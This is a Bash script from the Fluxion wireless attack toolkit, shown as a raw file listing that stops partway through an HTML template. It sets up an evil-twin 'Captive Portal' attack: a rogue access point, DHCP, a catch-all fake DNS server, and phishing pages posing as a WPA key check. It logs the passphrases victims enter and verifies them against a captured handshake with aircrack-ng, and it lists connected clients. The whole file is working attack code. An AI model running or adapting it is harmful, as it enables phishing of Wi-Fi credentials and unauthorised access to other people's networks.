981 lines
30 KiB
Bash
Executable File
981 lines
30 KiB
Bash
Executable File
#!/bin/bash
|
|
|
|
############################# < Captive Portal Parameters > ############################
|
|
CaptivePortalState="Not Ready"
|
|
|
|
CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog"
|
|
CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog"
|
|
CaptivePortalJamTime="9999999999999"
|
|
|
|
CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant")
|
|
CaptivePortalAuthenticationMethodsInfo=("(handshake file, ${CGrn}recommended$CClr)") # "(Target AP authentication, slow)")
|
|
|
|
########################### < Virtual Network Configuration > ##########################
|
|
# To avoid collapsing with an already connected network, we'll use an uncommon network.
|
|
VIGWAddress="192.168.254.1"
|
|
VIGWNetwork=${VIGWAddress%.*}
|
|
|
|
function captive_portal_unset_interface() {
|
|
if [ ! "$WIAccessPoint" ]; then return 1; fi
|
|
|
|
if interface_is_wireless "$WIAccessPoint"
|
|
then fluxion_unset_ap_service
|
|
fi
|
|
|
|
if [ "$WIAccessPoint" = "FX${WIMonitor:2}AP" ]; then
|
|
# Remove any previously created fluxion AP interfaces.
|
|
iw dev "$WIAccessPoint" del &> $FLUXIONOutputDevice
|
|
fi
|
|
|
|
WIAccessPoint=""
|
|
}
|
|
|
|
function captive_portal_set_interface() {
|
|
if [ "$WIAccessPoint" ]; then return 0; fi
|
|
|
|
captive_portal_unset_interface
|
|
|
|
# Gather candidate interfaces.
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingWINotice"
|
|
|
|
# List of all valid network interfaces.
|
|
interface_list_real
|
|
|
|
local ifAlternate=("$FLUXIONGeneralRepeatOption" "$FLUXIONGeneralBackOption")
|
|
local ifAlternateInfo=("" "")
|
|
local ifAlternateState=("" "")
|
|
local ifAlternateColor=("$CClr" "$CClr")
|
|
|
|
interface_prompt "$FLUXIONVLine $CaptivePortalInterfaceQuery" InterfaceListReal[@] \
|
|
ifAlternate[@] ifAlternateInfo[@] ifAlternateState[@] ifAlternateColor[@]
|
|
|
|
case "$InterfacePromptIfSelected" in
|
|
"$FLUXIONGeneralBackOption")
|
|
captive_portal_unset_interface; fluxion_unset_attack; return 1;;
|
|
|
|
# If the monitor interface is also the AP interface,
|
|
# there's no need to reserve it again, just add it.
|
|
"$WIMonitor")
|
|
if ! captive_portal_run_interface "$InterfacePromptIfSelected"
|
|
then return 1
|
|
fi
|
|
|
|
WIAccessPoint="$CaptivePortalRunInterface";;
|
|
*)
|
|
# We'll only attempt to run wireless interfaces for now.
|
|
# The conditional below is a temporary fix for ethernet interfaces.
|
|
# TODO: Fix fluxion_run_interface to accept non-wireless interfaces.
|
|
if interface_is_wireless "$InterfacePromptIfSelected"; then
|
|
if ! fluxion_run_interface "$InterfacePromptIfSelected"
|
|
then return 2
|
|
fi
|
|
|
|
WIAccessPoint="$FluxionRunInterface"
|
|
else
|
|
WIAccessPoint="$InterfacePromptIfSelected"
|
|
fi;;
|
|
esac
|
|
|
|
VIGW=$WIAccessPoint
|
|
VIAP=$WIAccessPoint
|
|
|
|
# Set an AP service if the interface selected is wireless.
|
|
if interface_is_wireless "$WIAccessPoint"; then
|
|
if ! fluxion_set_ap_service
|
|
then captive_portal_unset_interface; return 1
|
|
fi
|
|
fi
|
|
}
|
|
|
|
function captive_portal_run_interface() {
|
|
if [ ! "$1" ]; then return 1; fi
|
|
|
|
# Create an identifier for the access point, AP virtual interface.
|
|
local wiAccessPoint="FX${1:2}AP"
|
|
|
|
# Find interface's physical device.
|
|
if ! interface_physical "$1"
|
|
then echo -e "$FLUXIONVLine $FLUXIONPhysicalWIDeviceUnknownError"; sleep 5; return 1
|
|
fi
|
|
|
|
local wiAccessPointDevice="$InterfacePhysical"
|
|
|
|
# Create the new virtual interface with the generated identifier.
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingInterfaceNotice"
|
|
if ! iw phy $wiAccessPointDevice interface add $wiAccessPoint type monitor 2> $FLUXIONOutputDevice; then
|
|
echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError"
|
|
sleep 5
|
|
return 3
|
|
fi
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartedInterfaceNotice"
|
|
sleep 3
|
|
|
|
CaptivePortalRunInterface="$wiAccessPoint"
|
|
}
|
|
|
|
function captive_portal_unset_auth() {
|
|
if [ ! "$APRogueAuthMode" ]; then return 0; fi
|
|
|
|
if [ "$APRogueAuthMode" = "hash" ]; then
|
|
fluxion_unset_hash
|
|
fi
|
|
|
|
APRogueAuthMode=""
|
|
|
|
# If we've only got one option, then the user skipped this
|
|
# section by taking that one option, so we unset the previous
|
|
# phase along with this one to take the user properly back.
|
|
if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then
|
|
captive_portal_unset_interface
|
|
fi
|
|
}
|
|
|
|
function captive_portal_set_auth() {
|
|
if [ "$APRogueAuthMode" ]; then
|
|
echo "Captive Portal authentication mode is already set, skipping!" > $FLUXIONOutputDevice
|
|
return 0;
|
|
fi
|
|
|
|
captive_portal_unset_auth
|
|
|
|
if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \
|
|
${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" ]; then
|
|
APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}"
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
local choices=("${CaptivePortalAuthenticationMethods[@]}" "$FLUXIONGeneralBackOption")
|
|
io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \
|
|
CaptivePortalAuthenticationMethodsInfo[@]
|
|
|
|
echo
|
|
|
|
APRogueAuthMode="${IOQueryFormatFields[0]}"
|
|
|
|
if [[ "$APRogueAuthMode" = "$FLUXIONGeneralBackOption" ]]; then
|
|
captive_portal_unset_auth
|
|
return 1
|
|
fi
|
|
fi
|
|
|
|
if [ "$APRogueAuthMode" = "hash" ]; then
|
|
fluxion_set_hash
|
|
fi
|
|
|
|
if [[ $? -ne 0 ]]; then captive_portal_unset_auth; return 1; fi
|
|
}
|
|
|
|
function captive_portal_run_certificate_generator() {
|
|
xterm -bg "#000000" -fg "#CCCCCC" -title "Generating Self-Signed SSL Certificate" -e openssl req -subj '/CN=captive.router.lan/O=CaptivePortal/OU=Networking/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout "$FLUXIONWorkspacePath/server.pem" -out "$FLUXIONWorkspacePath/server.pem" # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html
|
|
chmod 400 "$FLUXIONWorkspacePath/server.pem"
|
|
}
|
|
|
|
function captive_portal_unset_cert() {
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem"
|
|
}
|
|
|
|
# Create Self-Signed SSL Certificate
|
|
function captive_portal_set_cert() {
|
|
# Check existance of ssl certificate with file size > 0
|
|
if [ -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \
|
|
-s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" ]; then
|
|
cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \
|
|
"$FLUXIONWorkspacePath/server.pem"
|
|
fi
|
|
|
|
# Check existance of ssl certificate with file size > 0
|
|
if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then
|
|
echo "Captive Portal certificate is already set, skipping!" > $FLUXIONOutputDevice
|
|
return 0;
|
|
fi
|
|
|
|
captive_portal_unset_cert
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
captive_portal_run_certificate_generator
|
|
else
|
|
local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$FLUXIONGeneralBackOption")
|
|
|
|
while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do
|
|
io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$CaptivePortalCertificateSourceGenerateOption") captive_portal_run_certificate_generator; break;;
|
|
"$CaptivePortalCertificateSourceRescanOption") return 2;;
|
|
"$FLUXIONGeneralBackOption")
|
|
captive_portal_unset_auth
|
|
captive_portal_unset_cert
|
|
return 1;;
|
|
*) conditional_bail; return 3;;
|
|
esac
|
|
done
|
|
fi
|
|
}
|
|
|
|
|
|
function captive_portal_unset_site() {
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
|
|
}
|
|
|
|
function captive_portal_set_site() {
|
|
if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then
|
|
echo "Captive Portal site (interface) is already set, skipping!" > $FLUXIONOutputDevice
|
|
return 0;
|
|
fi
|
|
|
|
captive_portal_unset_site
|
|
|
|
local sites=()
|
|
|
|
# Attempt adding only if the directory exists.
|
|
if [ -d attacks/Captive\ Portal/generic/languages ]; then
|
|
# Retrieve all generic sites available.
|
|
for site in attacks/Captive\ Portal/generic/languages/*.lang; do
|
|
sites+=("${CaptivePortalGenericInterfaceOption}_`basename "${site%.lang}"`")
|
|
done
|
|
fi
|
|
|
|
# Attempt adding only if the directory exists.
|
|
if [ -d attacks/Captive\ Portal/sites ]; then
|
|
# Retrieve all available portal sites and
|
|
# store them without the .portal extension.
|
|
for site in attacks/Captive\ Portal/sites/*.portal; do
|
|
sites+=("`basename "${site%.portal}"`")
|
|
done
|
|
fi
|
|
|
|
local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption")
|
|
local sitesLanguage=("${sites[@]/*_/}")
|
|
|
|
format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr"
|
|
local queryFieldOptionsFormat=$FormatCenterDynamic
|
|
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalUIQuery"
|
|
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
io_query_format_fields "" "$queryFieldOptionsFormat\n" \
|
|
sitesIdentifier[@] sitesLanguage[@]
|
|
|
|
echo
|
|
|
|
local site="${IOQueryFormatFields[0]}"
|
|
local siteLanguage="${IOQueryFormatFields[1]}"
|
|
local sitePath="${site}_${siteLanguage}"
|
|
|
|
case "$site" in
|
|
"$CaptivePortalGenericInterfaceOption")
|
|
source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang"
|
|
captive_portal_generic;;
|
|
"$FLUXIONGeneralBackOption")
|
|
captive_portal_unset_cert
|
|
captive_portal_unset_site
|
|
return 1;;
|
|
* )
|
|
cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \
|
|
"$FLUXIONWorkspacePath/captive_portal"
|
|
|
|
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec sed -i -e 's/$APTargetSSID/'"${APTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${APTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${APTargetChannel//\//\\\/}"'/g' {} \;;;
|
|
esac
|
|
}
|
|
|
|
function captive_portal_unset_attack() {
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
|
|
|
|
# Only reset the AP if one has been defined.
|
|
if [ "$APRogueService" -a "`type -t ap_reset`" ]
|
|
then ap_reset
|
|
fi
|
|
}
|
|
|
|
# Create different settings required for the script
|
|
function captive_portal_set_attack() {
|
|
# AP Service: Prepare service for an attack.
|
|
if [ "$APRogueService" ]
|
|
then ap_prep
|
|
fi
|
|
|
|
# Add the PHP authenticator scripts, used to verify
|
|
# password attempts from users using the web interface.
|
|
local authenticatorFiles=("authenticator.php" "check.php" "update.php")
|
|
|
|
for authenticatorFile in "${authenticatorFiles[@]}"; do
|
|
cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \
|
|
"$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \
|
|
"$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile"
|
|
done
|
|
|
|
# Generate the dhcpd configuration file, which is
|
|
# used to provide DHCP service to APRogue clients.
|
|
echo "\
|
|
authoritative;
|
|
|
|
default-lease-time 600;
|
|
max-lease-time 7200;
|
|
|
|
subnet $VIGWNetwork.0 netmask 255.255.255.0 {
|
|
option broadcast-address $VIGWNetwork.255;
|
|
option routers $VIGWAddress;
|
|
option subnet-mask 255.255.255.0;
|
|
option domain-name-servers $VIGWAddress;
|
|
|
|
range $VIGWNetwork.100 $VIGWNetwork.254;
|
|
}\
|
|
" > "$FLUXIONWorkspacePath/dhcpd.conf"
|
|
|
|
#create an empty leases file
|
|
touch "$FLUXIONWorkspacePath/dhcpd.leases"
|
|
|
|
# Generate configuration for a lighttpd web-server.
|
|
echo "\
|
|
server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\"
|
|
|
|
server.modules = (
|
|
\"mod_access\",
|
|
\"mod_alias\",
|
|
\"mod_accesslog\",
|
|
\"mod_fastcgi\",
|
|
\"mod_redirect\",
|
|
\"mod_rewrite\"
|
|
)
|
|
|
|
fastcgi.server = (
|
|
\".php\" => (
|
|
(
|
|
\"bin-path\" => \"/usr/bin/php-cgi\",
|
|
\"socket\" => \"/php.socket\"
|
|
)
|
|
)
|
|
)
|
|
|
|
server.port = 80
|
|
server.pid-file = \"/var/run/lighttpd.pid\"
|
|
# server.username = \"www\"
|
|
# server.groupname = \"www\"
|
|
|
|
mimetype.assign = (
|
|
\".html\" => \"text/html\",
|
|
\".htm\" => \"text/html\",
|
|
\".txt\" => \"text/plain\",
|
|
\".jpg\" => \"image/jpeg\",
|
|
\".png\" => \"image/png\",
|
|
\".css\" => \"text/css\"
|
|
)
|
|
|
|
|
|
server.error-handler-404 = \"/\"
|
|
|
|
static-file.exclude-extensions = (
|
|
\".fcgi\",
|
|
\".php\",
|
|
\".rb\",
|
|
\"~\",
|
|
\".inc\"
|
|
)
|
|
|
|
index-file.names = (
|
|
\"index.htm\",
|
|
\"index.html\",
|
|
\"index.php\"
|
|
)
|
|
|
|
\$SERVER[\"socket\"] == \":443\" {
|
|
ssl.engine = \"enable\"
|
|
ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\"
|
|
}
|
|
|
|
#Redirect www.domain.com to domain.com
|
|
\$HTTP[\"host\"] =~ \"^www\.(.*)$\" {
|
|
url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" )
|
|
}
|
|
" > "$FLUXIONWorkspacePath/lighttpd.conf"
|
|
|
|
|
|
# Create a DNS service with python, forwarding all traffic to gateway.
|
|
echo "\
|
|
import socket
|
|
|
|
class DNSQuery:
|
|
def __init__(self, data):
|
|
self.data=data
|
|
self.dominio=''
|
|
|
|
tipo = (ord(data[2]) >> 3) & 15
|
|
if tipo == 0:
|
|
ini=12
|
|
lon=ord(data[ini])
|
|
while lon != 0:
|
|
self.dominio+=data[ini+1:ini+lon+1]+'.'
|
|
ini+=lon+1
|
|
lon=ord(data[ini])
|
|
|
|
def respuesta(self, ip):
|
|
packet=''
|
|
if self.dominio:
|
|
packet+=self.data[:2] + \"\x81\x80\"
|
|
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
|
packet+=self.data[12:]
|
|
packet+='\xc0\x0c'
|
|
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
|
|
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
|
|
return packet
|
|
|
|
if __name__ == '__main__':
|
|
ip='$VIGWAddress'
|
|
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
|
|
|
|
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
udps.bind(('',53))
|
|
|
|
try:
|
|
while 1:
|
|
data, addr = udps.recvfrom(1024)
|
|
p=DNSQuery(data)
|
|
udps.sendto(p.respuesta(ip), addr)
|
|
print 'Request: %s -> %s' % (p.dominio, ip)
|
|
except KeyboardInterrupt:
|
|
print 'Finalizando'
|
|
udps.close()\
|
|
" > "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
|
|
chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
|
|
# Attack arbiter script
|
|
echo "\
|
|
#!/bin/bash
|
|
|
|
function signal_stop_attack() {
|
|
kill -s SIGABRT $$ # Signal STOP ATTACK
|
|
handle_abort_authenticator
|
|
}
|
|
|
|
function handle_abort_authenticator() {
|
|
AuthenticatorState=\"aborted\"
|
|
}
|
|
|
|
trap signal_stop_attack SIGINT SIGHUP
|
|
trap handle_abort_authenticator SIGABRT
|
|
|
|
echo > \"$FLUXIONWorkspacePath/candidate.txt\"
|
|
echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\"
|
|
echo > \"$FLUXIONWorkspacePath/wpa_supplicant.log\"
|
|
|
|
# Make console cursor invisible, cnorm to revert.
|
|
tput civis
|
|
clear
|
|
|
|
m=0
|
|
h=0
|
|
s=0
|
|
i=0
|
|
|
|
AuthenticatorState=\"running\"
|
|
|
|
startTime=\$(date +%s)
|
|
|
|
while [ \$AuthenticatorState = \"running\" ]; do
|
|
let s=\$(date +%s)-\$startTime
|
|
|
|
d=\`expr \$s / 86400\`
|
|
s=\`expr \$s % 86400\`
|
|
h=\`expr \$s / 3600\`
|
|
s=\`expr \$s % 3600\`
|
|
m=\`expr \$s / 60\`
|
|
s=\`expr \$s % 60\`
|
|
|
|
if [ \"\$s\" -le 9 ]; then
|
|
is=\"0\"
|
|
else
|
|
is=
|
|
fi
|
|
|
|
if [ \"\$m\" -le 9 ]; then
|
|
im=\"0\"
|
|
else
|
|
im=
|
|
fi
|
|
|
|
if [ \"\$h\" -le 9 ]; then
|
|
ih=\"0\"
|
|
else
|
|
ih=
|
|
fi
|
|
|
|
if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then
|
|
# Assure we've got a directory to store pwd logs into.
|
|
if [ ! -d \"$CaptivePortalPassLog\" ]; then
|
|
mkdir -p \"$CaptivePortalPassLog\"
|
|
fi
|
|
|
|
# Save any new password attempt.
|
|
cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC.log\"
|
|
|
|
# Clear logged password attempt.
|
|
echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\"
|
|
fi
|
|
" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
if [ $APRogueAuthMode = "hash" ]; then
|
|
echo "
|
|
if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
|
|
# Check if we've got the correct password by looking for anything other than \"Passphrase not in\".
|
|
if ! aircrack-ng -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" | grep -qi \"Passphrase not in\"; then
|
|
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
break
|
|
else
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
fi
|
|
fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
|
|
echo "
|
|
wpa_passphrase \"$APTargetSSID\" \"\`cat \"$FLUXIONWorkspacePath/candidate.txt\"\`\" > \"$FLUXIONWorkspacePath/wpa_supplicant.conf\"
|
|
wpa_supplicant -i \"$WIAccessPoint\" -c \"$FLUXIONWorkspacePath/wpa_supplicant.conf\" -f \"$FLUXIONWorkspacePath/wpa_supplicant.log\" &
|
|
wpaSupplicantPID=\$!
|
|
|
|
# Shitty design...
|
|
sleep 5
|
|
|
|
if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
|
|
if grep -i 'WPA: Key negotiation completed' \"$FLUXIONWorkspacePath/wpa_supplicant.log\"; then
|
|
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
break
|
|
else
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
fi
|
|
fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
fi
|
|
|
|
echo "
|
|
DHCPClients=($(nmap -PR -sn -n -oG - $VIGWNetwork.100-110 2>&1 | grep Host))
|
|
|
|
echo
|
|
echo -e \" ACCESS POINT:\"
|
|
echo -e \" SSID ...........: $CWht$APTargetSSID$CClr\"
|
|
echo -e \" MAC ............: $CYel$APTargetMAC$CClr\"
|
|
echo -e \" Channel ........: $CWht$APTargetChannel$CClr\"
|
|
echo -e \" Vendor .........: $CGrn${APTargetMaker:-UNKNOWN}$CClr\"
|
|
echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\"
|
|
echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\"
|
|
echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\"
|
|
echo
|
|
echo -e \" CLIENTS ONLINE:\"
|
|
|
|
x=0
|
|
for client in \"\${DHCPClients[@]}\"; do
|
|
x=\$((\$x+1))
|
|
|
|
ClientIP=\$(echo \$client| cut -d \" \" -f2)
|
|
ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])
|
|
|
|
if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then
|
|
ClientMAC=\"xx:xx:xx:xx:xx:xx\"
|
|
fi
|
|
|
|
ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)
|
|
|
|
if echo \$ClientMAC| grep -q x; then
|
|
ClientMID=\"unknown\"
|
|
fi
|
|
|
|
ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}')
|
|
|
|
echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\"
|
|
done
|
|
|
|
echo -ne \"\033[K\033[u\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
|
|
if [ $APRogueAuthMode = "hash" ]; then
|
|
echo "
|
|
sleep 1" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
|
|
echo "
|
|
killall \$wpaSupplicantPID &> $FLUXIONOutputDevice
|
|
" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
fi
|
|
|
|
echo "
|
|
done
|
|
|
|
if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi
|
|
|
|
clear
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\"
|
|
|
|
# sleep 7
|
|
sleep 3
|
|
|
|
signal_stop_attack
|
|
|
|
|
|
# killall mdk3 &> $FLUXIONOutputDevice
|
|
# killall aireplay-ng &> $FLUXIONOutputDevice
|
|
# killall airbase-ng &> $FLUXIONOutputDevice
|
|
# kill \$(ps a | grep python | grep fluxion_captive_portal_dns.py | awk '{print \$1}') &> $FLUXIONOutputDevice
|
|
# killall hostapd &> $FLUXIONOutputDevice
|
|
# killall lighttpd &> $FLUXIONOutputDevice
|
|
# killall dhcpd &> $FLUXIONOutputDevice
|
|
|
|
# if [ \"$APRogueAuthMode\" = \"wpa_supplicant\" ]; then
|
|
# killall wpa_supplicant &> $FLUXIONOutputDevice
|
|
# fi
|
|
|
|
# killall wpa_passphrase &> $FLUXIONOutputDevice
|
|
|
|
# Assure we've got a directory to store net logs into.
|
|
if [ ! -d \"$CaptivePortalNetLog\" ]; then
|
|
mkdir -p \"$CaptivePortalNetLog\"
|
|
fi
|
|
|
|
echo \"
|
|
FLUXION $FLUXIONVersion
|
|
|
|
SSID: $APTargetSSID
|
|
BSSID: $APTargetMAC ($APTargetMaker)
|
|
Channel: $APTargetChannel
|
|
Security: $APTargetEncryption
|
|
Time: \$ih\$h:\$im\$m:\$is\$s
|
|
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
|
|
\" >\"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
|
|
if [ $APRogueAuthMode = "hash" ]; then
|
|
echo "
|
|
aircrack-ng -a 2 -b $APTargetMAC -0 -s \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\
|
|
" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
elif [ $APRogueAuthMode = "wpa_supplicant" ]; then
|
|
echo "
|
|
echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$APTargetSSID-$APTargetMAC.log"$CClr"\"\
|
|
" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
fi
|
|
|
|
chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
}
|
|
|
|
# Generate the contents for a generic web interface
|
|
function captive_portal_generic() {
|
|
if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then
|
|
mkdir "$FLUXIONWorkspacePath/captive_portal"
|
|
fi
|
|
|
|
base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" > "$FLUXIONWorkspacePath/file.zip"
|
|
|
|
unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip"
|
|
|
|
echo "\
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset=\"UTF-8\">
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
<title>Wireless Protected Access: Verifying</title>
|
|
|
|
<!-- Styles -->
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
<!-- Scripts -->
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
</head>
|
|
<body>
|
|
<!-- final page -->
|
|
<div id=\"done\" data-role=\"page\" data-theme=\"a\">
|
|
<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
|
|
<h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3>
|
|
</div>
|
|
</div>
|
|
</body>
|
|
</html>" > "$FLUXIONWorkspacePath/captive_portal/final.html"
|
|
|
|
echo "\
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset=\"UTF-8\">
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
<title>Wireless Protected Access: Key Mismatch</title>
|
|
|
|
<!-- Styles -->
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
<!-- Scripts -->
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
<script src=\"js/jquery.validate.min.js\"></script>
|
|
<script src=\"js/additional-methods.min.js\"></script>
|
|
</head>
|
|
<body>
|
|
<!-- Error page -->
|
|
<div data-role=\"page\" data-theme=\"a\">
|
|
<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
|
|
<h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3>
|
|
<a href=\"index.html\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.html'\">$DIALOG_WEB_BACK</a>
|
|
</div>
|
|
</div>
|
|
</body>
|
|
</html>" > "$FLUXIONWorkspacePath/captive_portal/error.html"
|
|
|
|
echo "\
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset=\"UTF-8\">
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
